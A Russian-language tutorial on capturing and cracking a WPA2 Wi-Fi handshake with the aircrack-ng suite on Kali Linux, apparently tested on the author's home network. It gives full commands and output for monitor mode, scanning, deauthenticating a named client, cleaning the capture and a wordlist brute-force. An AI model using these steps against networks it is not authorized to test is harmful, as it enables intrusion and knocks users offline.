How can we help?
Для перехвата пакетов нам необходимо переключить наш беспроводной адаптер в monitor mode (также rfmon mode), в этом режиме драйвер не фильтрует пакеты и передаёт всё, что улавливает антенна, в ОС. Пакеты с неверной контрольной суммой не отбрасываются и их можно видеть, к примеру, в Wireshark.
Для того чтобы адаптер не переключился на соседний канал, в то время когда по предыдущему каналу прошёл новый пакет (пакет будет потерян, это критично, когда вы пытаетесь перехватить handshake) поэтому для отключения всех программ, которые используют беспроводной адаптер и не дают зафиксировать канал, используется эта команда:
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ sudo airmon-ng check kill Killing these processes: PID Name 945 wpa_supplicant
Без kill будет выведен список всех подозрительных процессов, а с kill они будут завершены. Теперь можем включить режим monitor:
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ sudo airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 iwlwifi Intel Corporation Wi-Fi 6 AX201 (rev 20) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)
Можно попытаться включить режим мониторинга командой:
ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up
Видим что у на появился виртуальный интерфейс wlan0mon, которому и указываем начать сбор пакетов в радио при прмощи программы airodump-ng. Она выводит в консоль две таблицы, в верхней выводятся найденные беспроводные сети, в нижней — клиенты, подключенные к ним, или не подключенные, но с активным беспроводным адаптером, транслирующем какие-то пакеты (например, о поиске сети с определённым именем).
опция —band ab говорит адаптеру собирать информацию одновременно в обоих частотных диапазонах 2,4 и 5 ГГц
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ sudo airodump-ng --band ab wlan0mon CH 159 ][ Elapsed: 1 min ][ 2022-04-04 19:55 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 74:83:C2:71:F2:39 -48 15 0 0 1 130 WPA3 CCMP SAE homenet 76:83:C2:11:F2:39 -48 15 18 0 1 130 WPA2 CCMP PSK home.net 76:83:C2:11:F2:3A -64 28 57 0 157 720 WPA2 CCMP PSK home.net 74:83:C2:71:F2:3A -64 28 19 0 157 720 WPA3 CCMP SAE homenet 52:FF:20:59:92:04 -79 12 3 0 4 360 WPA2 CCMP PSK Zyxel 52:FF:20:51:E1:0E -81 0 1 0 4 360 WPA2 CCMP PSK Shmagin WIFI 52:FF:20:51:E1:20 -1 0 3 0 4 -1 WPA <length: 0> BSSID STATION PWR Rate Lost Frames Notes Probes 76:83:C2:11:F2:39 A8:9C:ED:AB:5D:88 -69 24e- 1e 0 11 76:83:C2:11:F2:3A 04:E5:98:88:0F:0A -1 24e- 0 0 34 76:83:C2:11:F2:3A 3C:BD:3E:58:26:B6 -1 6e- 0 0 1 74:83:C2:71:F2:3A 3A:57:65:B1:DE:B5 -1 6e- 0 0 1 (not associated) 2A:AC:DE:FF:82:5A -40 0 - 1 0 25 MI 8,Telecom21-BE13,egov-private (not associated) DC:9F:DB:97:13:C2 -81 0 - 1 0 1 52:FF:20:51:E1:0E 56:FF:20:21:E1:20 -1 1e- 0 0 1 52:FF:20:51:E1:20 56:FF:20:19:92:04 -82 0 - 1e 0 4 Quitting...
Столбцы первой таблицы с доступными беспроводными сетями:
BSSID — уникальный MAC-адрес беспроводной сети. По аналогии с MAC-адресом сетевых карт, это 6 чисел в шестнадцатеричном формате, разделённых двоеточием, например: AA:00:BB:12:34:56
. Он передаётся в большинство других команд.
PWR — уровень сигнала. Это отрицательное число; чем оно ближе к 0 — тем сигнал сильнее. Обычно для комфортной работы это число до -50, для видеосвязи — до -65, для VoIP — до -75. Значения ниже -85 и в особенности ниже -90 можно считать крайне слабым уровнем. Число зависит как от мощности передатчика, так и от коэффициента усиления антенны в вашем адаптере (внешние адаптеры имеют усиление 0-12 dB, внешние 1-2-метровые всенаправленные антенны — до 24 dB)
Beacons — число переданных этой точкой доступа «маячков» — пакетов, оповещающих находящихся рядом устройств о существовании этой беспроводной сети, уровне сигнала, её имени (BSSID/ESSID) и прочей информации. Используется для подключения. По умолчанию точки доступа обычно настроены на передачу маячков каждые 100 мсек (10 раз в секунду), но интервал можно увеличить до 1/сек. Отсутствие маячка не говорит об отсутствии беспроводной сети — в скрытом (hidden) режиме точка доступа не передаёт маячков, но к ней можно подключиться, если знать точное имя сети. О способе обнаружения таких сетей — ниже.
#Data — число пакетов с данными, которые пришли от этой точки доступа. Это может быть HTTP-трафик, ARP-запросы, запросы на авторизацию (handshake) и прочее. Если к сети не подключен ни один клиент или если он ничего не передаёт, то это значение не меняется и может быть 0.
#/s — число пакетов с данными в секунду. #Data делённое на время наблюдения за этой сетью.
CH — номер канала. Как уже было описано выше, весь доступный спектр Wi-Fi разделён на 14 каналов; точка доступа и, соответственно, клиенты, передают данные на определённом канале и этот столбец указывает, к какому каналу привязана эта точка доступа и её клиенты
MB — скорость передачи (ширина канала) в Мбит/с. Точка в конце обозначает, что точка доступа поддерживает короткую преамбулу (short preamble). Можно увидеть значения 11, 54, 54e. Нас это обычно мало волнует
ENC — тип беспроводной сети — OPN (открытая), WEP, WPA, WPA2. На основании этого параметра мы выбираем подходящую схему атаки.
CIPHER — тип шифрования данных после handshake. Может быть TKIP и CCMP.
AUTH — механизм аутентификации для передачи временного ключа. Может быть PSK (обыная авторизация по единому паролю для WPA(2)), MGT (WPA(2) Enterprise с отдельным сервером с ключами RADIUS), OPN (открытая).
ESSID — имя беспроводной сети. Именно его вы видите в «Диспетчере беспроводных сетей» в Windows и указываете в настройках точки доступа. Так как это пользовательское имя, то оно может не быть уникальным, и для всех внутренних операций используется BSSID (то есть MAC-адрес адаптера в точке доступа), а это — просто отображаемое название.
Столбцы второй таблицы с беспроводными клиентами:
BSSID — MAC-адрес точки доступа, к которой подключен клиент (см. первую таблицу). Если указано (not associated) — клиент отключен от всех сетей, но адаптер работает (возможно, он ищет доступные сети).
STATION — MAC-адрес клиента. Когда-то эти адреса были вшиты в адаптер на фабрике и не могли быть изменены, но сегодня может быть настроен в подавляющем большинстве случаев. В Linux/Mac для этого есть штатные средства., в Windows с этим сложнее и поддержка зависит от драйвера. MAC-адрес точно так же, как и в проводных сетях, передаётся буквально в каждом пакете от этого клиента и это основная причина, почему фильтрация по MAC почти бесполезна.
PWR — уровень сигнала от клиента. Чем ближе к 0, тем клиент ближе/сигнал мощнее (см. первую таблицу).
Rate — когда airodump-ng запущен с фиксацией канала (см. ниже), этот столбец покажет частоту передачи пакетов с данными от точки доступа к клиенту (слева от дефиса) и от клиента обратно (справа).
Lost — число потерянных пакетов, которые наша система (не клиент) не зарегистрировала. Это легко вычислить, так как в передаваемых пакетах есть счётчик.
Frames или Packets — число пакетов с данными, которые мы уловили от этого клиента (см. #Data в первой таблице).
Probe — список ESSID-имён беспроводных сетей, к которым клиент пытался подключиться. Здесь могут быть перечислены совсем не те сети, которые вы видите вокруг, а те, к которым клиент подключался ранее, или же скрытые сети.
Иногда в некоторых столбцах можно увидеть числа -1, а в последнем столбце — <length: 0>
. Это признаки беспроводной сети, которая не транслирует свои данные в открытом виде, а отвечает лишь когда клиент сделал явный запрос на подключение с указанием корректного ESSID и пароля. Кроме этого, точка доступа может вообще не транслировать маячки и станет активна только, когда к ней подключится клиент, знающий её имя. Если оставить airodump-ng запущенным достаточно долгое время и если в этом промежутке к скрытой сети подключится новый клиент, то в правом верхнем углу появится сообщение вида [ Decloak: 00:00:11:11:22:22 ]
с BSSID точки доступа, конспирацию которой мы раскрыли.
Каждый подключенный клиент общается с базовой станцией по её BSSID — и это именно то, что мы видим в обеих таблицах airodump-ng.
Далее выбираем точку доступа для «охоты» —bssid 76:83:C2:11:F2:3A и соберем дамп в текущаю папку -w ./ и наблюдаем в надежде перехватить рукопожатие со всеми идентификаторами и ключами:
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ sudo airodump-ng --bssid 76:83:C2:11:F2:3A --channel 157 -w ./ wlan0mon CH 157 ][ Elapsed: 2 mins ][ 2022-04-04 20:04 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 76:83:C2:11:F2:3A -59 0 1199 793 6 157 720 WPA2 CCMP PSK home.net BSSID STATION PWR Rate Lost Frames Notes Probes 76:83:C2:11:F2:3A 2A:AC:DE:FF:82:5A -41 6e- 6e 1021 820 76:83:C2:11:F2:3A 04:E5:98:88:0F:0A -59 24e- 1 0 795 Quitting…
Для ускорения процесса можем отправить клиенту специальный кадр deauth, который заставит его отключиться от сети, после чего он должен будет подключиться вновь — и в этот момент airodump-ng перехватит рукопожатие, подробнее здесь. Опции команды airplay означают:
- -0 — означает отправить пакет деаутентификации DeAuth
- 10 — количество DeAut для отправки, 0 означает отправлять их непрерывно
- -a 76:83:C2:11:F2:3A — MAC-адрес точки доступа
- -c 2A:AC:DE:FF:82:5A — MAC-адрес деаутентифицируемого клиента; если это опущено, то все клиенты деаутентифицированы
- wlan0 — интерфейс с которого отправится DeAuth
(kali㉿thpad-kali)-[~] └─$ sudo aireplay-ng -0 10 -a 76:83:C2:11:F2:3A -c 2A:AC:DE:FF:82:5A wlan0 20:04:40 Waiting for beacon frame (BSSID: 76:83:C2:11:F2:3A) on channel 157 20:04:41 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs] 20:04:41 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs] 20:04:42 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs] 20:04:42 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs] 20:04:43 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 0 ACKs] 20:04:44 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 2 ACKs] 20:04:44 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0| 3 ACKs] 20:04:45 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|11 ACKs] 20:04:45 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|14 ACKs] 20:04:46 Sending 64 directed DeAuth (code 7). STMAC: [2A:AC:DE:FF:82:5A] [ 0|11 ACKs] CH 157 ][ Elapsed: 24 s ][ 2022-04-04 20:08 ][ WPA handshake: 76:83:C2:11:F2:3A BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 76:83:C2:11:F2:3A -60 70 251 503 3 157 720 WPA2 CCMP PSK home.net BSSID STATION PWR Rate Lost Frames Notes Probes 76:83:C2:11:F2:3A 2A:AC:DE:FF:82:5A -39 6e- 6e 0 147 EAPOL home.net 76:83:C2:11:F2:3A 04:E5:98:88:0F:0A -79 6e- 6e 3 382 Quitting...
Надпись WPA handshake: 76:83:C2:11:F2:3A говорит нам о том, что рукопожатие уже захвачено. Далее делаем копию дампа на всякий случай:
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ (kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ cp 01.cap 01.cap.old 1 ⨯
Теперь нам надо убрать из 01.cap всю лишнюю информацию. С этим нам поможет wpaclean. Что необычно, первым аргументом передается файл куда писать в нашем случае clean-01, вторым откуда брать инфу. Можно перепутать и затереть handshake
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ wpaclean clean-01 01.cap Pwning 01.cap (1/1 100%) Net 76:83:c2:11:f2:3a home.net Done ┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ echo 'Net 76:83:c2:11:f2:3a home.net' > text.txt
Ну и начинаем то ради чего все затеивалось, перебор паролей:
┌──(kali㉿thpad-kali)-[~/2022.04.04_sniff_home] └─$ sudo aircrack-ng -w ~kali/InsideProFull.txt -b 76:83:c2:11:f2:3a clean-01.cap